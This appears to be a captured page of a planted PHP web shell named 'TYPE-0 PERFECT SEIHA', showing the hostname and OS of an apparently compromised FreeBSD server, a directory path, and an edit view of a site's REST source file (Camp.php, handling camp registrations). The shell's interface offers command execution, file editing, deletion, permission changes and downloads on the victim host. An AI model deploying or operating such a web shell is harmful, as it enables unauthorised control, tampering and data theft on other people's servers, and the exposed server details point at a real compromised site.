TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
Rest
Camp
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/Rest/Camp/Camp.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Camp; use Application\FsKempyRest; use Application\Identity; use Nette\Database\Context; use Nette\Utils\Validators; use RestServer\Exceptions\AuthenticationException; use RestServer\Exceptions\BadRequestException; use RestServer\IParametrs; use RestServer\IPresenter; use RestServer\Response; use Tracy\Debugger; /** * Camp * @author Jan Pospisil */ class Camp extends \Nette\Object implements IPresenter{ private $identity; private $fsKempyRest; private $connection; public function __construct(Identity $identity, FsKempyRest $fsKempyRest, Context $context){ $this->identity = $identity; $this->fsKempyRest = $fsKempyRest; $this->connection = $context; } public function run(IParametrs $parameters, Response $response) { if(!$this->identity->id) throw new AuthenticationException('ApiKey is required.'); $id = $parameters->path('id'); if(!Validators::isNumericInt($id)) throw new BadRequestException('Id must be number.'); $camp = $this->fsKempyRest->api('/camp/'.$id.'?registrations=1'); $emails = array(); foreach($this->connection->table('user_email')->where('user_id', $this->identity->id)->where('confirmed IS NOT NULL') as $email){ $emails[] = $email->address; } $camp->myregistration = FALSE; foreach($camp->registrations as $registration){ if(in_array($registration->email, $emails)){ $camp->myregistration = $registration; } } $response->data = $camp; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Camp.php
1520
0644
2016-04-16 10:22:29
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin